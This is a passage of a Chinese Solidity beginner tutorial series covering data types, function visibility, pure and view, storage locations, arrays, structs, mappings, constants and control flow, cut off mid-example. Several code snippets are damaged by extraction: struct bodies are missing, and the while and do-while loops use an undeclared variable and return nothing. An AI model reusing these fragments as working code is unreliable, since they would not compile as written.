1. **数值类型(Value Type)**：包括布尔型，整数型等等，这类变量赋值时候直接传递数值。

2. **引用类型(Reference Type)**：包括数组和结构体，这类变量占空间大，赋值时候直接传递地址（类似指针）。

3. **映射类型(Mapping Type)**: `Solidity`里的哈希表。

4. **函数类型(Function Type)**：`Solidity`文档里把函数归到数值类型，但我觉得他跟其他类型差别很大，所以单独分一类。

我们只介绍一些常用的类型，不常用的不讲。这篇介绍数值类型，第3讲介绍函数类型，第4讲介绍引用和映射。

## 数值类型
### 1. 布尔型
布尔型是二值变量，取值为`true`或`false`。
    // 布尔值
    bool public _bool = true;
```
布尔值的运算符，包括：

- `!` （逻辑非）
- `&&` （逻辑与， "and" ）
- `||` （逻辑或， "or" ）
- `==` （等于）
- `!=` （不等于）

代码：
    // 布尔运算
    bool public _bool1 =

!_bool; //取非
    bool public _bool2 = _bool && _bool1; //与
    bool public _bool3 = _bool || _bool1; //或
    bool public _bool4 = _bool == _bool1; //相等
    bool public _bool5 = _bool != _bool1; //不相等
```
上面的代码中：变量`_bool`的取值是`true`；`_bool1`是`_bool`的非，为`false`；`_bool && _bool1`为`false`；`_bool || _bool1`为`true`；`_bool == _bool1`为`false`；`_bool != _bool1`为`true`。
**值得注意的是：**`&&` 和 `||`运算符遵循短路规则，这意味着，假如存在`f(x) || g(y)`的表达式，如果`f(x)`是`true`，`g(y)`不会被计算，即使它和`f(x)`的结果是相反的

### 2. 整型
整型是`solidity`中的整数，最常用的包括
    // 整型
    int public _int = -1; // 整数，包括负数
    uint public _uint = 1; // 正整数
    uint256 public _number = 20220330; // 256位正整数
```
常用的整型运算符包括：

- 比较运算符（返回布尔值）： `<=`， `<`， `==`， `!=`， `>=`， `>` 
- 算数运算符： `+`， `-`， `*`， `/`， `%`（取余），`**`（幂）

代码：
    // 整数运算
    uint256 public _number1 = _number + 1; // +，-，*，/
    uint256 public _number2 = 2**2; // 指数
    uint256 public _number3 = 7 % 2; // 取余数
    bool public _numberbool = _number2 > _number3; // 比大小
```
大家可以跑一下代码，看看这4个变量分别是多少。答对奖励个`POAP`？

### 3. 地址类型
地址类型(address)有两类：
- 普通地址（address）: 存储一个 20 字节的值（以太坊地址的大小）。
- payable address:

比普通地址多了`transfer`和`send`两个成员方法，用于接收转账。

我们会在之后的章节更加详细的介绍地址类型。

代码
    // 地址
    address public _address = 0x7A58c0Be72BE218B41C608b7Fe7C5bB630736C71;
    address payable public _address1 = payable(_address); // payable address，可以转账、查余额
    // 地址类型的成员
    uint256 public balance = _address1.balance; // balance of address
```

### 4. 定长字节数组
字节数组`bytes`分两种:

- 定长: 属于数值类型，根据每个元素存储数据的大小分为 `byte`, `bytes8`, `bytes32` 等类型，每个元素最多存储 32 bytes数据。数组长度在声明之后不能改变。
- 不定长: 属于引用类型，数组长度在声明之后可以改变，包括 `bytes` 等，之后的章节会详细介绍。

代码：
    // 固定长度的字节数组
    bytes32 public _byte32 = "MiniSolidity"; 
    bytes1 public _byte = _byte32[0]; 
```
上面代码中，`MiniSolidity`变量以字节的方式存储进变量`_byte32`。如果把它转换成`16进制`为，就是：`0x4d696e69536f6c69646974790000000000000000000000000000000000000000`

`_byte`变量的值为`_byte32`的第一个字节，即`0x4d`。

### 5. 枚举 enum
枚举（`enum`）是`solidity`中用户定义的数据类型。它主要用于为`uint`分配名称，使程序易于阅读和维护。它与`C语言`中的`enum`类似，使用名称来代替从`0`开始的`uint`：
    // 用enum将uint 0， 1， 2表示为Buy, Hold, Sell
    enum ActionSet { Buy, Hold, Sell }
    // 创建enum变量 action
    ActionSet action =

ActionSet.Buy;
```
它可以显式的和`uint`相互转换，并会检查转换的正整数是否在枚举的长度内，不然会报错：
    // enum可以和uint显式的转换
    function enumToUint() external view returns(uint){
        return uint(action);
    }
```
`enum`的一个比较冷门的变量，几乎没什么人用。

## 在remix上验证
- 部署合约后可以查看每个类型的变量具体的数值
![2-1.png](./img/2-1.png)
  
- enum和uint转换的示例
![2-2.png](./img/2-2.png)
![2-3.png](./img/2-3.png)
## 总结
在这一讲，我们介绍了`solidity`中4种变量类型，并详细介绍了数值变量（`value type`)中的布尔型，整型，地址，定长字节数组和枚举。之后我们会介绍其他几种类型。

---
title: 3. 函数
tags:
  - solidity
  - basic
---

# WTF Solidity极简入门: 3. 函数

-----

## Solidity中的函数
Solidity官方文档里把函数归到数值类型，但我觉得差别很大，所以单独分一类。我们先看一下solidity中函数的形式：
    function <function name>(<parameter types>) {internal|external|public|private} [pure|view|payable] [returns (<return types>)]
```
看着些复杂，咱们从前往后一个一个看（方括号中的是可写可不写的关键字）：

1. `function`：声明函数时的固定用法，想写函数，就要以function关键字开头。

2. `<function name>`：函数名。

3. `(<parameter types>)`：圆括号里写函数的参数，也就是要输入到函数的变量类型和名字。

4. `{internal|external|public|private}`：函数可见性说明符，一共4种。

    - `public`: 内部外部均可见。
    - `private`: 只能从本合约内部访问，继承的合约也不能用。
    - `external`:

只能从合约外部访问（但是可以用`this.f()`来调用，`f`是函数名）。
    - `internal`: 只能从合约内部访问，继承的合约可以用。

    **Note 1**: 合约中定义的函数需要明确指定可见性，它们没有默认值。
    
    **Note 2**: `public|private|internal` 也可用于修饰状态变量。 `public`变量会自动生成同名的`getter`函数，用于查询数值。
    
    **Note 3**: 没有标明可见性类型的状态变量，默认为`internal`。

5. `[pure|view|payable]`：决定函数权限/功能的关键字。`payable`（可支付的）很好理解，带着它的函数，运行的时候可以给合约转入`ETH`。`pure`和`view`的介绍见下一节。

6. `[returns ()]`：函数返回的变量类型和名称。

## 到底什么是`Pure`和`View`？
我刚开始学`solidity`的时候，一直不理解`pure`跟`view`关键字，因为别的语言没有类似的关键字。`solidity`加入这两个关键字，我认为是因为`gas fee`。合约的状态变量存储在链上，`gas fee`很贵，如果不改变链上状态，就不用付`gas`。包含`pure`跟`view`关键字的函数是不改写链上状态的，因此用户直接调用他们是不需要付gas的（合约中非`pure`/`view`函数调用它们则会改写链上状态，需要付gas）。

在以太坊中，以下语句被视为修改链上状态：

1. 写入状态变量。
2. 释放事件。
3. 创建其他合约。
4. 使用`selfdestruct`.
5. 通过调用发送以太币。
6. 调用任何未标记`view`或`pure`的函数。
7. 使用低级调用（low-level calls）。
8. 使用包含某些操作码的内联汇编。

我画了一个马里奥插画，帮助大家理解。在插画里，我把合约中的状态变量（存储在链上）比作碧池公主，三种不同的角色代表不同的关键字。

![WTH is pure and view in solidity?](https://images.mirror-media.xyz/publication-images/1B9kHsTYnDY_QURSWMmPb.png?height=1028&width=1758)

-

`pure`，中文意思是“纯”，在`solidity`里理解为“纯纯牛马”。包含`pure`关键字的函数，不能读取也不能写入存储在链上的状态变量。就像小怪一样，看不到也摸不到碧池公主。

- `view`，“看”，在`solidity`里理解为“看客”。包含`view`关键字的函数，能读取但也不能写入状态变量。类似马里奥，能看到碧池，但终究是看客，不能入洞房。

- 不写`pure`也不写`view`，函数既可以读取也可以写入状态变量。类似马里奥里的`boss`，可以对碧池公主为所欲为🐶。

## 代码
### 1. pure v.s. view

我们在合约里定义一个状态变量 `number = 5`。
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.4;
    contract FunctionTypes{
        uint256 public number = 5;
```
定义一个`add()`函数，每次调用，每次给`number + 1`。
    // 默认
    function add() external{
        number = number + 1;
    }
```
如果`add()`包含了`pure`关键字，例如 `function add() pure external`，就会报错。因为`pure`（纯纯牛马）是不配读取合约里的状态变量的，更不配改写。那`pure`函数能做些什么？举个例子，你可以给函数传递一个参数 `_number`，然后让他返回 `_number+1`。
    // pure: 纯纯牛马
    function addPure(uint256 _number) external pure returns(uint256 new_number){
        new_number = _number + 1;
    }
```

**Example:**
![3-3.png](./img/3-3.png)

如果`add()`包含`view`，比如`function add() view external`，也会报错。因为`view`能读取，但不能够改写状态变量。可以稍微改写下方程，让他不改写`number`，而是返回一个新的变量。
    // view: 看客
    function addView() external view returns(uint256 new_number) {
       
       new_number = number + 1;
    }
```

![3-4.png](./img/3-4.png)
### 2. internal v.s. external
    // internal: 内部
    function minus() internal {
        number = number - 1;
    }

    // 合约内的函数可以调用内部函数
    function minusCall() external {
        minus();
    }
```
我们定义一个`internal`的`minus()`函数，每次调用使得`number`变量减1。由于是`internal`，只能由合约内部调用，而外部不能。因此，我们必须再定义一个`external`的`minusCall()`函数，来间接调用内部的`minus()`。
![3-1.png](./img/3-1.png)

### 3. payable
    // payable: 递钱，能给合约支付eth的函数
    function minusPayable() external payable returns(uint256 balance) {
        minus();    
        balance = address(this).balance;
    }
```
我们定义一个`external payable`的`minusPayable()`函数，间接的调用`minus()`，并且返回合约里的`ETH`余额（`this`关键字可以让我们引用合约地址)。
我们可以在调用`minusPayable()`时，往合约里转入1个`ETH`。

![](https://images.mirror-media.xyz/publication-images/ETDPN8myq7jFfAL8CUAFt.png?height=148&width=588)

我们可以在返回的信息中看到，合约的余额是1 ETH。

![](https://images.mirror-media.xyz/publication-images/nGZ2pz0MvzgXuKrENJPYf.png?height=128&width=1130)

![3-2.png](./img/3-2.png)

##

总结
在这一讲，我们介绍了`solidity`中的函数类型，比较难理解的是`pure`和`view`，在其他语言中没出现过。`solidity`引入`pure`和`view`关键字主要是为了节省`gas`和控制函数权限：如果用户直接调用`pure`/`view`方程是不消耗`gas`的（合约中非`pure`/`view`函数调用它们则会改写链上状态，需要付gas）。

---
title: 4. 函数输出
tags:
  - solidity
  - basic
  - return
---

# WTF Solidity极简入门: 4. 函数输出 return

-----

这一讲，我们将介绍`Solidity`函数输出，包括：返回多种变量，命名式返回，以及利用解构式赋值读取全部和部分返回值。

## 返回值 return和returns
`Solidity`有两个关键字与函数输出相关：`return`和`returns`，他们的区别在于：
- `returns`加在函数名后面，用于声明返回的变量类型及变量名；
- `return`用于函数主体中，返回指定的变量。

    // 返回多个变量
    function returnMultiple() public pure returns(uint256, bool, uint256[3] memory){
            return(1, true, [uint256(1),2,5]);
        }
```
上面这段代码中，我们声明了`returnMultiple()`函数将有多个输出：`returns(uint256, bool, uint256[3] memory)`，接着我们在函数主体中用`return(1, true, [uint256(1),2,5])`确定了返回值。

##

命名式返回
我们可以在`returns`中标明返回变量的名称，这样`solidity`会自动给这些变量初始化，并且自动返回这些函数的值，不需要加`return`。

    // 命名式返回
    function returnNamed() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){
        _number = 2;
        _bool = false; 
        _array = [uint256(3),2,1];
    }
```
在上面的代码中，我们用`returns(uint256 _number, bool _bool, uint256[3] memory _array)`声明了返回变量类型以及变量名。这样，我们在主体中只需要给变量`_number`，`_bool`和`_array`赋值就可以自动返回了。

当然，你也可以在命名式返回中用`return`来返回变量：
    // 命名式返回，依然支持return
    function returnNamed2() public pure returns(uint256 _number, bool _bool, uint256[3] memory _array){
        return(1, true, [uint256(1),2,5]);
    }
```
## 解构式赋值
`solidity`使用解构式赋值的规则，支持读取函数的全部或部分返回值。
- 读取所有返回值：声明变量，并且将要赋值的变量用`,`隔开，按顺序排列。
        uint256 _number;
        bool _bool;
        uint256[3] memory _array;
        (_number, _bool, _array) = returnNamed();
```
- 读取部分返回值：声明要读取的返回值对应的变量，不读取的留空。下面这段代码中，我们只读取`_bool`，而不读取返回的`_number`和`_array`：
        (, _bool2, ) = returnNamed();
```

- 部署合约后查看三种返回方式的结果
![](./img/4-1.png)

## 总结
这一讲，我们介绍函数的返回值`return`和`returns`，包括：返回多种变量，命名式返回，以及利用解构式赋值读取全部和部分返回值。

---
title: 5. 变量数据存储和作用域
tags:
  - solidity
  - basic
  - storage/memory/calldata
---

# WTF Solidity极简入门: 5. 变量数据存储和作用域 storage/memory/calldata

-----

## Solidity中的引用类型
**引用类型(Reference Type)**：包括数组（`array`），结构体（`struct`）和映射（`mapping`），这类变量占空间大，赋值时候直接传递地址（类似指针）。由于这类变量比较复杂，占用存储空间大，我们在使用时必须要声明数据存储的位置。

## 数据位置
solidity数据存储位置有三类：`storage`，`memory`和`calldata`。不同存储位置的`gas`成本不同。`storage`类型的数据存在链上，类似计算机的硬盘，消耗`gas`多；`memory`和`calldata`类型的临时存在内存里，消耗`gas`少。大致用法：

1. `storage`：合约里的状态变量默认都是`storage`，存储在链上。

2. `memory`：函数里的参数和临时变量一般用`memory`，存储在内存中，不上链。

3.

`calldata`：和`memory`类似，存储在内存中，不上链。与`memory`的不同点在于`calldata`变量不能修改（`immutable`），一般用于函数的参数。例子：

    function fCalldata(uint[] calldata _x) public pure returns(uint[] calldata){
        //参数为calldata数组，不能被修改
        // _x[0] = 0 //这样修改会报错
        return(_x);
    }
```
![5-1.png](./img/5-1.png)

### 数据位置和赋值规则
在不同存储类型相互赋值时候，有时会产生独立的副本（修改新变量不会影响原变量），有时会产生引用（修改新变量会影响原变量）。规则如下：

1. `storage`（合约的状态变量）赋值给本地`storage`（函数里的）时候，会创建引用，改变新变量会影响原变量。例子：
    uint[] x = [1,2,3]; // 状态变量：数组 x

    function fStorage() public{
        //声明一个storage的变量 xStorage，指向x。修改xStorage也会影响x
        uint[] storage xStorage = x;
        xStorage[0] = 100;
    }
```
![5-2.png](./img/5-2.png)

2. `storage`赋值给`memory`，会创建独立的副本，修改其中一个不会影响另一个；反之亦然。例子：
    
    function fMemory() public view{
        //声明一个Memory的变量xMemory，复制x。修改xMemory不会影响x
        uint[] memory xMemory = x;
        xMemory[0] = 100;
        xMemory[1] = 200;
        uint[] memory xMemory2 = x;
        xMemory2[0] = 300;
    }
```
![5-3.png](./img/5-3.png)

3. `memory`赋值给`memory`，会创建引用，改变新变量会影响原变量。

4. 其他情况，变量赋值给`storage`，会创建独立的副本，修改其中一个不会影响另一个。

##

变量的作用域
`Solidity`中变量按作用域划分有三种，分别是状态变量（state variable），局部变量（local variable）和全局变量(global variable)
### 1. 状态变量
状态变量是数据存储在链上的变量，所有合约内函数都可以访问
，`gas`消耗高。状态变量在合约内、函数外声明：
contract Variables {
    uint public x = 1;
    uint public y;
    string public z;
```

我们可以在函数里更改状态变量的值：
    function foo() external{
        // 可以在函数里更改状态变量的值
        x = 5;
        y = 2;
        z = "0xAA";
    }
```

### 2. 局部变量
局部变量是仅在函数执行过程中有效的变量，函数退出后，变量无效。局部变量的数据存储在内存里，不上链，`gas`低。局部变量在函数内声明：
    function bar() external pure returns(uint){
        uint xx = 1;
        uint yy = 3;
        uint zz = xx + yy;
        return(zz);
    }
```

### 3. 全局变量
全局变量是全局范围工作的变量，都是`solidity`预留关键字。他们可以在函数内不声明直接使用：

    function global() external view returns(address, uint, bytes memory){
        address sender = msg.sender;
        uint blockNum = block.number;
        bytes memory data = msg.data;
        return(sender, blockNum, data);
    }
```
在上面例子里，我们使用了3个常用的全局变量：`msg.sender`, `block.number`和`msg.data`，他们分别代表请求发起地址，当前区块高度，和请求数据。下面是一些常用的全局变量，更完整的列表请看这个[链接](https://learnblockchain.cn/docs/solidity/units-and-global-variables.html#special-variables-and-functions)：

- `blockhash(uint blockNumber)`:

(`bytes32`)给定区块的哈希值 – 只适用于256最近区块, 不包含当前区块。
- `block.coinbase`: (`address payable`) 当前区块矿工的地址
- `block.gaslimit`: (`uint`)	当前区块的gaslimit
- `block.number`: (`uint`)	当前区块的number
- `block.timestamp`: (`uint`)	当前区块的时间戳，为unix纪元以来的秒
- `gasleft()`: (`uint256`)	剩余 gas
- `msg.data`: (`bytes calldata`)	完整call data
- `msg.sender`: (`address payable`)	消息发送者 (当前 caller)
- `msg.sig`: (`bytes4`)	calldata的前四个字节 (function identifier)
- `msg.value`: (`uint`)	当前交易发送的`wei`值

![5-4.png](./img/5-4.png)

### 4. 全局变量-以太单位与时间单位
#### 以太单位
`Solidity`中不存在小数点，以`0`代替为小数点，来确保交易的精确度，并且防止精度的损失，利用以太单位可以避免误算的问题，方便程序员在合约中处理货币交易。
- `wei`: 1
- `gwei`: 1e9 = 1000000000
- `ether`: 1e18 = 1000000000000000000

    function weiUnit() external pure returns(uint) {
        assert(1 wei == 1e0);
        assert(1 wei == 1);
        return 1 wei;
    }

    function gweiUnit() external pure returns(uint) {
        assert(1 gwei == 1e9);
        assert(1 gwei == 1000000000);
        return 1 gwei;
    }

    function etherUnit() external pure returns(uint) {
        assert(1 ether == 1e18);
        assert(1 ether == 1000000000000000000);
        return 1 ether;
   
   }
```

![5-5.png](./img/5-5.png)

#### 时间单位
可以在合约中规定一个操作必须在一周内完成，或者某个事件在一个月后发生。这样就能让合约的执行可以更加精确，不会因为技术上的误差而影响合约的结果。因此，时间单位在`Solidity`中是一个重要的概念，有助于提高合约的可读性和可维护性。
- `seconds`: 1
- `minutes`: 60 seconds = 60
- `hours`: 60 minutes = 3600
- `days`: 24 hours = 86400
- `weeks`: 7 days = 604800

    function secondsUnit() external pure returns(uint) {
        assert(1 seconds == 1);
        return 1 seconds;
    }

    function minutesUnit() external pure returns(uint) {
        assert(1 minutes == 60);
        assert(1 minutes == 60 seconds);
        return 1 minutes;
    }

    function hoursUnit() external pure returns(uint) {
        assert(1 hours == 3600);
        assert(1 hours == 60 minutes);
        return 1 hours;
    }

    function daysUnit() external pure returns(uint) {
        assert(1 days == 86400);
        assert(1 days == 24 hours);
        return 1 days;
    }

    function weeksUnit() external pure returns(uint) {
        assert(1 weeks == 604800);
        assert(1 weeks == 7 days);
        return 1 weeks;
    }
```

![5-6.png](./img/5-6.png)

## 总结
在这一讲，我们介绍了`solidity`中的引用类型，数据位置和变量的作用域。重点是`storage`, `memory`和`calldata`三个关键字的用法。他们出现的原因是为了节省链上有限的存储空间和降低`gas`。下一讲我们会介绍引用类型中的数组。

---
title: 6. 引用类型
tags:
  - solidity
  - basic
  - array/struct
---

# WTF Solidity极简入门: 6. 引用类型, array, struct

欢迎关注我的推特：[@0xAA_Science](https://twitter.com/0xAA_Science)

所有代码开源在github(64个star开微信交流群，已开[填表加入](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform)；128个star录教学视频): [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity)

-----
这一讲，我们将介绍`solidity`中的两个重要变量类型：数组（`array`）和结构体（`struct`）。

## 数组 array
数组（`Array`）是`solidity`常用的一种变量类型，用来存储一组数据（整数，字节，地址等等）。数组分为固定长度数组和可变长度数组两种：

- 固定长度数组：在声明时指定数组的长度。用`T[k]`的格式声明，其中`T`是元素的类型，`k`是长度，例如：
    // 固定长度 Array
    uint[8] array1;
    bytes1[5] array2;
    address[100] array3;
```
- 可变长度数组（动态数组）：在声明时不指定数组的长度。用`T[]`的格式声明，其中`T`是元素的类型，例如：
    // 可变长度 Array
    uint[] array4;
    bytes1[] array5;
    address[] array6;
    bytes

array7;
```
**注意**：`bytes`比较特殊，是数组，但是不用加`[]`。另外，不能用`byte[]`声明单字节数组，可以使用`bytes`或`bytes1[]`。在gas上，`bytes`比`bytes1[]`便宜。因为`bytes1[]`在`memory`中要增加31个字节进行填充，会产生额外的gas。但是在`storage`中，由于内存紧密打包，不存在字节填充。

### 创建数组的规则
在solidity里，创建数组有一些规则：

- 对于`memory`修饰的`动态数组`，可以用`new`操作符来创建，但是必须声明长度，并且声明后长度不能改变。例子：
    // memory动态数组
    uint[] memory array8 = new uint[](5);
    bytes memory array9 = new bytes(9);
```
- 数组字面常数(Array Literals)是写作表达式形式的数组，用方括号包着来初始化array的一种方式，并且里面每一个元素的type是以第一个元素为准的，例如`[1,2,3]`里面所有的元素都是uint8类型，因为在solidity中如果一个值没有指定type的话，默认就是最小单位的该type，这里int的默认最小单位类型就是uint8。而`[uint(1),2,3]`里面的元素都是uint类型，因为第一个元素指定了是uint类型了，我们都以第一个元素为准。
下面的合约中，对于f函数里面的调用，如果我们没有显式对第一个元素进行uint强转的话，是会报错的，因为如上所述我们其实是传入了uint8类型的array，可是g函数需要的却是uint类型的array，就会报错了。
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;

contract C {
    function f() public pure {
        g([uint(1), 2, 3]);
    }
    function g(uint[3] memory) public pure {
        // ...
    }
}
```
- 如果创建的是动态数组，你需要一个一个元素的赋值。
    uint[] memory x = new uint[](3);
    x[0] = 1;
    x[1] = 3;
    x[2] = 4;
```
### 数组成员
- `length`:

数组有一个包含元素数量的`length`成员，`memory`数组的长度在创建后是固定的。
- `push()`: `动态数组`和`bytes`拥有`push()`成员，可以在数组最后添加一个`0`元素。
- `push(x)`: `动态数组`和`bytes`拥有`push(x)`成员，可以在数组最后添加一个`x`元素。
- `pop()`: `动态数组`和`bytes`拥有`pop()`成员，可以移除数组最后一个元素。

![6-1.png](./img/6-1.png)

## 结构体 struct
`Solidity`支持通过构造结构体的形式定义新的类型。创建结构体的方法：
    // 结构体
    struct Student{
        uint256 id;
        uint256 score; 
    }
```
    Student student; // 初始一个student结构体
```
给结构体赋值的四种方法：
    //  给结构体赋值
    // 方法1:在函数中创建一个storage的struct引用
    function initStudent1() external{
        Student storage _student = student; // assign a copy of student
        _student.id = 11;
        _student.score = 100;
    }
```
![6-2.png](./img/6-2.png)

     // 方法2:直接引用状态变量的struct
    function initStudent2() external{
        student.id = 1;
        student.score = 80;
    }
```
![6-3.png](./img/6-3.png)

    // 方法3:构造函数式
    function initStudent3() external {
        student = Student(3, 90);
    }
```
![6-4.png](./img/6-4.png)

     // 方法4:key value
    function initStudent4() external {
        student = Student({id: 4, score: 60});
   
   }
```
![6-5.png](./img/6-5.png)
## 总结
这一讲，我们介绍了solidity中数组（`array`）和结构体（`struct`）的基本用法。下一讲我们将介绍solidity中的哈希表——映射（`mapping`）。

---
title: 7. 映射类型
tags:
  - solidity
  - basic
  - mapping
---

# WTF Solidity极简入门: 7. 映射类型 mapping

-----

这一讲，我们将介绍solidity中的哈希表：映射（`Mapping`）类型。

## 映射Mapping
在映射中，人们可以通过键（`Key`）来查询对应的值（`Value`），比如：通过一个人的`id`来查询他的钱包地址。

声明映射的格式为`mapping(_KeyType => _ValueType)`，其中`_KeyType`和`_ValueType`分别是`Key`和`Value`的变量类型。例子：
    mapping(uint => address) public idToAddress; // id映射到地址
    mapping(address => address) public swapPair; // 币对的映射，地址到地址
```  
## 映射的规则
- **规则1**：映射的`_KeyType`只能选择`solidity`默认的类型，比如`uint`，`address`等，不能用自定义的结构体。而`_ValueType`可以使用自定义的类型。下面这个例子会报错，因为`_KeyType`使用了我们自定义的结构体：
    // 我们定义一个结构体

Struct
    }
     mapping(Student => uint) public testVar;
```
- **规则2**：映射的存储位置必须是`storage`，因此可以用于合约的状态变量，函数中的`storage`变量，和library函数的参数（见[例子](https://github.com/ethereum/solidity/issues/4635)）。不能用于`public`函数的参数或返回结果中，因为`mapping`记录的是一种关系 (key - value pair)。

- **规则3**：如果映射声明为`public`，那么`solidity`会自动给你创建一个`getter`函数，可以通过`Key`来查询对应的`Value`。

- **规则4**：给映射新增的键值对的语法为`_Var[_Key] = _Value`，其中`_Var`是映射变量名，`_Key`和`_Value`对应新增的键值对。例子：
    function writeMap (uint _Key, address _Value) public{
        idToAddress[_Key] = _Value;
    }
```
## 映射的原理
- **原理1**: 映射不储存任何键（`Key`）的资讯，也没有length的资讯。

- **原理2**: 映射使用`keccak256(abi.encodePacked(key, slot))`当成offset存取value，其中`slot`是映射变量定义所在的插槽位置。

- **原理3**: 因为Ethereum会定义所有未使用的空间为0，所以未赋值（`Value`）的键（`Key`）初始值都是各个type的默认值，如uint的默认值是0。

## 在Remix上验证 (以 `Mapping.sol`为例)
- 映射示例 1 部署

    ![7-1](./img/7-1.jpg)

- 映射示例 2 初始值

    ![7-2](./img/7-2.jpg)

- 映射示例 3 key-value pair

    ![7-3](./img/7-3.jpg)

## 总结
这一讲，我们介绍了`solidity`中哈希表——映射（`Mapping`）的用法。至此，我们已经学习了所有常用变量种类，之后我们会学习控制流`if-else`,` while`等。

---
title: 8. 变量初始值
tags:
  - solidity
  - basic
---

# WTF Solidity极简入门: 8. 变量初始值

-----

## 变量初始值

在`solidity`中，声明但没赋值的变量都有它的初始值或默认值。这一讲，我们将介绍常用变量的初始值。

### 值类型初始值

- `boolean`: `false`
- `string`: `""`
- `int`: `0`
- `uint`: `0`
- `enum`: 枚举中的第一个元素
- `address`: `0x0000000000000000000000000000000000000000` (或 `address(0)`)
- `function`
    - `internal`: 空白方程
    - `external`: 空白方程

可以用`public`变量的`getter`函数验证上面写的初始值是否正确：
    bool public _bool; // false
    string public _string; // ""
    int public _int; // 0
    uint public _uint; // 0
    address public _address; // 0x0000000000000000000000000000000000000000

    enum ActionSet { Buy, Hold, Sell}
   
   ActionSet public _enum; // 第1个内容Buy的索引0

    function fi() internal{} // internal空白方程 
    function fe() external{} // external空白方程 
```

### 引用类型初始值
- 映射`mapping`: 所有元素都为其默认值的`mapping`

- 结构体`struct`: 所有成员设为其默认值的结构体

- 数组`array`
    - 动态数组: `[]`
    - 静态数组（定长）: 所有成员设为其默认值的静态数组

    // Reference Types
    uint[8] public _staticArray; // 所有成员设为其默认值的静态数组[0,0,0,0,0,0,0,0]
    uint[] public _dynamicArray; // `[]`
    mapping(uint => address) public _mapping; // 所有元素都为其默认值的mapping
    // 所有成员设为其默认值的结构体 0, 0
    }
    Student public student;
```

### `delete`操作符
`delete a`会让变量`a`的值变为初始值。
    // delete操作符
    bool public _bool2 = true; 
    function d() external {
        delete _bool2; // delete 会让_bool2变为默认值，false
    }
```
- 部署合约查看值类型、引用类型的初始值
![](./img/8-1.png)

- 值类型、引用类型delete操作后的默认值
![](./img/8-2.png)

## 总结
这一讲，我们介绍了`solidity`中变量的初始值。变量被声明但没有赋值的时候，它的值默认为初始值。不同类型的变量初始值不同，`delete`操作符可以删除一个变量的值并代替为初始值。

---
title: 9. 常数
tags:
  - solidity
  - basic
  - constant/immutable
---

# WTF Solidity极简入门: 9. 常数 constant和immutable

-----
这一讲，我们介绍`solidity`中两个关键字，`constant`（常量）和`immutable`（不变量）。状态变量声明这个两个关键字之后，不能在合约后更改数值；并且还可以节省`gas`。另外，只有数值变量可以声明`constant`和`immutable`；`string`和`bytes`可以声明为`constant`，但不能为`immutable`。

## constant和immutable
### constant
`constant`变量必须在声明的时候初始化，之后再也不能改变。尝试改变的话，编译不通过。
``` solidity
    // constant变量必须在声明的时候初始化，之后不能改变
    uint256 constant CONSTANT_NUM = 10;
    string constant CONSTANT_STRING = "0xAA";
    bytes constant CONSTANT_BYTES = "WTF";
    address constant CONSTANT_ADDRESS =

0x0000000000000000000000000000000000000000;
```
### immutable
`immutable`变量可以在声明时或构造函数中初始化，因此更加灵活。
    // immutable变量可以在constructor里初始化，之后不能改变
    uint256 public immutable IMMUTABLE_NUM = 9999999999;
    address public immutable IMMUTABLE_ADDRESS;
    uint256 public immutable IMMUTABLE_BLOCK;
    uint256 public immutable IMMUTABLE_TEST;
```
你可以使用全局变量例如`address(this)`，`block.number` ，或者自定义的函数给`immutable`变量初始化。在下面这个例子，我们利用了`test()`函数给`IMMUTABLE_TEST`初始化为`9`：
    // 利用constructor初始化immutable变量，因此可以利用
    constructor(){
        IMMUTABLE_ADDRESS = address(this);
        IMMUTABLE_BLOCK = block.number;
        IMMUTABLE_TEST = test();
    }

    function test() public pure returns(uint256){
        uint256 what = 9;
        return(what);
    }
```

1. 部署好合约之后，通过remix上的`getter`函数，能获取到`constant`和`immutable`变量初始化好的值。

   ![9-1.png](./img/9-1.png)   
   
2. `constant`变量初始化之后，尝试改变它的值，会编译不通过并抛出`TypeError: Cannot assign to a constant variable.`的错误。

   ![9-2.png](./img/9-2.png)   
   
3. `immutable`变量初始化之后，尝试改变它的值，会编译不通过并抛出`TypeError: Immutable state variable already initialized.`的错误。

   ![9-3.png](./img/9-3.png)

##

总结
这一讲，我们介绍`solidity`中两个关键字，`constant`（常量）和`immutable`（不变量），让不应该变的变量保持不变。这样的做法能在节省`gas`的同时提升合约的安全性。

---
title: 10. 控制流
tags:
  - solidity
  - basic
  - if-else/for/while/ternary
---

# WTF Solidity极简入门: 10. 控制流，用solidity实现插入排序

-----
这一讲，我们将介绍`solidity`中的控制流，然后讲如何用`solidity`实现插入排序（`InsertionSort`），一个看起来简单，但实际上很容易写出`bug`的程序。

## 控制流
`Solidity`的控制流与其他语言类似，主要包含以下几种：

1. `if-else`

function ifElseTest(uint256 _number) public pure returns(bool){
    if(_number == 0){
	return(true);
    }else{
	return(false);
    }
}
```
2. `for循环`

function forLoopTest() public pure returns(uint256){
    uint sum = 0;
    for(uint i = 0; i < 10; i++){
	sum += i;
    }
    return(sum);
}
```
3. `while循环`

function whileTest() public

pure returns(uint256){
    uint i = 0;
    while(i < 10){
	sum += i;
	i++;
    }
}
```
4. `do-while循环`

function doWhileTest() public pure returns(uint256){
    uint i = 0;
    do{
	sum += i;
	i++;
    }while(i < 10);
}
```

5. `三元运算符`
三元运算符是`solidity`中唯一一个接受三个操作数的运算符，规则`条件? 条件为真的表达式:条件为假的表达式`。 此运算符经常用作 if 语句的快捷方式。

// 三元运算符 ternary/conditional operator
function ternaryTest(uint256 x, uint256 y) public pure returns(uint256){
    // return the max of x and y
    return x >= y ? x: y; 
}
```

另外还有`continue`（立即进入下一个循环）和`break`（跳出当前循环）关键字可以使用。

## 用`solidity`实现插入排序
### 写在前面：90%以上的人用`solidity`写插入算法都会出错。

### 插入排序
排序算法解决的问题是将无序的一组数字，例如`[2, 5, 3, 1]`，从小到大依次排列好。插入排序（`InsertionSort`）是最简单的一种排序算法，也是很多人学习的第一个算法。它的思路很简单，从前往后，依次将每一个数和排在他前面的数字比大小，如果比前面的数字小，就互换位置。示意图：

![插入排序](https://i.pinimg.com/originals/92/b0/34/92b034385c440e08bc8551c97df0a2e3.gif)

### `python`代码
我们可以先看一下插入排序的python代码：
```python
# Python program for implementation of Insertion Sort
def insertionSort(arr):
	for i in range(1, len(arr)):
